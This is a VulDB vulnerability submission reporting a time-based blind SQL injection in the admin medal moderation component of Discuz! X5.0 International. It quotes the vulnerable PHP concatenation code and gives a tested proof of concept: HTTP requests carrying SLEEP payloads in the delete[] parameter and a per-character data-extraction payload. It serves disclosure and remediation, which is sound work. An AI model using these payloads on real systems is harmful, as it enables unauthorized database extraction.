Submit #945923: Comsenz (Beijing) Networking Co., Ltd. Discuz! X5.0 20260820 SQL Injectioninfo

TitleComsenz (Beijing) Networking Co., Ltd. Discuz! X5.0 20260820 SQL Injection
Description# Discuz! X5.0 International — SQL Injection (Time-Based Blind) in Admin Medal Moderation ## Vulnerability type ```text SQL Injection ``` ## CWE ```text CWE-89 SQL Injection ``` ## Vendor of the product(s) ```text Comsenz / Discuz! Team ``` ## Affected product(s)/code base ### Product ```text Discuz! X5.0 International ``` ### Version ```text 2026-08-20 build (Discuz_X5.0_Intl_20260820). Affected version range to be confirmed; the vulnerable pattern likely affects the X5.0 series. ``` ## Attack type ```text Remote ``` ## Impact ```text Escalation of Privileges, Information Disclosure ``` ## Affected component(s) ```text upload/source/app/admin/child/medals/mod.php (admin medal moderation, modmedalsubmit handler), upload/source/app/admin/admin.php (admin action router) ``` ## Core vulnerable code path In `upload/source/app/admin/child/medals/mod.php`, the `modmedalsubmit` branch collects each element of the `$_GET['delete']` array, wraps it in single quotes, concatenates all elements, and interpolates the result directly into a `WHERE id IN (...)` clause of a `DB::query()` call. No sanitization, parameterization, or `intval()` is applied: ```php } elseif(submitcheck('modmedalsubmit')) { if(is_array($_GET['delete']) && !empty($_GET['delete'])) { $ids = $comma = ''; foreach($_GET['delete'] as $id) { $ids .= "$comma'$id'"; $comma = ','; } $query = DB::query('SELECT me.id, me.uid, me.medalid, me.dateline, me.expiration, mf.medals FROM '.DB::table('forum_medallog').' me LEFT JOIN '.DB::table('common_member_field_forum')." mf USING (uid) WHERE id IN ($ids)"); ``` The framework performs no global `addslashes()` on `$_GET`, so the injected single quote reaches the SQL statement unescaped. ## Attack vector(s) An authenticated administrator who can open the medal moderation page (`admin.php?action=medals&operation=mod`) submits the form (`modmedalsubmit`) with a crafted `delete[]` array parameter. Because each value is wrapped in single quotes and concatenated without escaping, a payload such as `1' AND SLEEP(5)-- -` closes the opening quote and executes a time-based blind SQL injection. The database layer's default query-safety check does not block the `SLEEP()` function, so the timing side channel is usable. ## Suggested description of the vulnerability for use in the CVE A SQL injection vulnerability was found in the admin control panel medal moderation component of Discuz! X5.0 International. The `delete[]` parameter of the moderation form is concatenated into a SQL `IN (...)` clause without sanitization or parameterization. An authenticated administrator with medal-management privileges can exploit it for time-based blind SQL injection, enabling extraction of arbitrary data from the database. The default SQL safety filter does not prevent the `SLEEP()` function used for the timing side channel. ## Proof of Concept (time-based blind, tested) Prerequisites: an authenticated administrator session with medal-management permission; a valid `formhash` obtained from the target page. Step 1 — obtain `formhash`: ```http GET /admin.php?action=medals&operation=mod HTTP/1.1 Host: TARGET Cookie: <admin session cookie> ``` Extract the 8-character value from the hidden field in the response HTML, e.g. `<input type="hidden" name="formhash" value="XXXXXXXX">`. Step 2 — trigger the time-based blind injection (payload is carried in the URL query because the code reads `$_GET['delete']`): ```http POST /admin.php?action=medals&operation=mod&delete[]=1%27%20AND%20SLEEP(5)--%20- HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded Cookie: <admin session cookie> formhash=XXXXXXXX&modmedalsubmit=yes ``` Observation: | Request | Response time | |---|---| | baseline (`delete[]=1`) | < 1 s | | `delete[]=1' AND SLEEP(5)-- -` | ≈ 5 s | The ≈5 s delay confirms the injected `SLEEP(5)` is executed. Because the value is wrapped as `'1' AND SLEEP(5)-- -'`, the string literal `'1'` evaluates to true in a boolean context, `AND SLEEP(5)` runs the delay, and `-- -` comments out the trailing quote. Boolean data-extraction variant (per-character, e.g. first byte of `USER()` ASCII > 100): ```text delete[]=1%27%20AND%20IF(ORD(MID(USER(),1,1))%3E100,SLEEP(5),0)--%20- ``` ## Reference(s) ```text https://github.com/DiscuzTeam/DiscuzX/releases/tag/X5.0-20260820 https://www.discuz.vip/ ``` ## Additional information - Classification is "authorized trigger": exploitation requires an account with backend medal-management permission and a valid `formhash`; it is not reachable by unauthenticated users. - No known public CVE exists for this issue as of 2026-08-25; the affected build is recent. - Remediation: cast each `$ids` element with `intval()` before concatenation, or use parameterized/placeholder queries; consider reading the `delete[]` array from `$_POST` and applying a whitelist.
User
 BlackSpdier (UID 89912)
Submission08/25/2026 10:04 (1 month ago)
Moderation10/03/2026 19:07 (1 month later)
StatusAccepted
VulDB entry413371 [Comsenz Discuz! X5.0-20260801/X5.0-20260820/X5.0-20260910 Admin Medal Moderation mod.php modmedalsubmit delete sql injection]
Points17

Do you need the next level of professionalism?

Upgrade your account now!